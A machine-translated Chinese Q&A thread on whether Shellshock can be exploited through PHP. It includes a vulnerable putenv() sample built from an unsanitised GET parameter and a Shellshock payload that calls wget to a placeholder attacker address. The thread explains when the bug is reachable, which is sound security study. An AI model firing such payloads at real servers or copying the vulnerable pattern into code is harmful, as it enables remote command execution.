利用 php 的 Shellshock 攻击场景

信息安全 php 炮击 重击
2021-09-04 04:56:28

我已经看到了涉及在 cgi 脚本上使用 wget 的攻击场景,但是利用 Web 服务器 php 脚本发出exec()system()调用 bash 脚本的场景怎么样?

据我所知,HTTP_USER_AGENT至少在默认情况下,不会将环境变量(例如)传递给已执行的 shell 脚本。

4个回答

由于 CGI 的工作原理,PHP 只能通过在 PHP-CGI 模式下使用来在 shellshock-case 中被利用。对于像system()exec()这样的PHP 函数,除非您自己在 PHP 中设置它们,否则不可能影响环境变量。然后在您的示例中将类似于system("HTTP_SERVER=evil.example.org /path/to/script");

如果 PHP 是使用 mod_php 部署的,那么这个场景基本上是安全的。正如您所说,PHP 不会像 CGI 那样将不受信任的数据放入环境变量中。

如果 PHP 是使用 CGI 部署的(这是一种罕见的配置),那么如果脚本对 bash 进行任何调用,它就会很容易受到攻击。似乎 PHP system() 使用 /bin/sh - 在 Redhat 发行版上这往往是 bash,虽然不是在 Debian 上。

如果脚本使用不受信任的数据设置环境变量,那么它就会变得易受攻击。我希望这是一种罕见的情况,但这很烦人,因为它阻止你肯定地说“PHP 是安全的”。

我怀疑它是否可以像在 CGI 中被利用一样被用于 php。

如果您比较以下输出:

$ cat ./testing3.cgi
#!/bin/bash
echo "Content-type: text/plain"
echo
echo
set

输出:

$ cat ./testing.php 
<?php

system('set');

?>

读入 bash 的环境变量非常不同。特别是,没有 HTTP_USER_AGENT 或类似的用户提供的环境输入。

也就是说,这是一个非常丑陋的错误,我认为可以有许多意想不到的方法来利用它。我只是不认为用于 CGI 调用 bash 的方法与 php 调用 bash 的任何可能角度相同。

根据我的测试,如果存在某些条件,似乎可以使用 mod_php 通过 PHP 进行利用。

  1. /bin/sh 将通过符号链接到 /bin/bash。
  2. PHP 应用程序将使用 putenv() 从用户控制的 HTTP 变量中设置环境变量。
  3. 在 PHP 脚本的某处,随后调用了一个命令 exec 函数,该函数将加载该 env 变量(exec()、passthru()、system()、popen() 等),因为它在 bash shell 实例中运行. 这个系统调用/命令执行函数根本不需要和环境变量的设置相关联,只要后面发生就行。

例如,这里是我今天早些时候看到的一些代码的通用形式,它根据未经处理的 GET 参数设置 LANGUAGE 环境变量。我添加到底部的 popen 调用将是触发器。

function getLang() { if (isset($_GET["lang"]) && !empty($_GET["lang"])) { $lang = $_GET["lang"]; } return $lang; } $language = getLang(); putenv("LANGUAGE=$language"); /** A bunch of irrelevant code **/
$file = popen("/bin/ls", "r"); /** or $result = exec("ls"); or $result = passthru("ls"); etc **/

在这种情况下,应用程序使用用户控制的 GET 参数设置环境变量,因此 lang 的值(){:;}; /usr/bin/wget http://yourip:yourport应该尝试 wget 到您选择的服务器/端口。我见过类似的代码,它也根据 cookie 值设置 ENV 变量,$language=$=COOKIE["lang"]因此篡改该标头值也可能触发 vuln。

显然,根据不受信任的用户数据设置任何变量都是非常糟糕的做法。在这种情况下,它对 popen 的调用(由于符号链接而在 Bash 中运行)最终将执行有效负载。在设置符号链接并成功执行有效负载后,我在 Debian 环境中对此进行了测试。根据 hspaans 所说,您无法通过调用 system() 或 exec() 来影响任意环境变量的设置,因此利用此类东西的成功完全取决于应用程序的设计和它运行的环境。

以下是有关非 CGI PHP 漏洞的更多信息:http: //lcamt​​uf.blogspot.com/2014/09/quick-notes-about-bash-bug-its-impact.html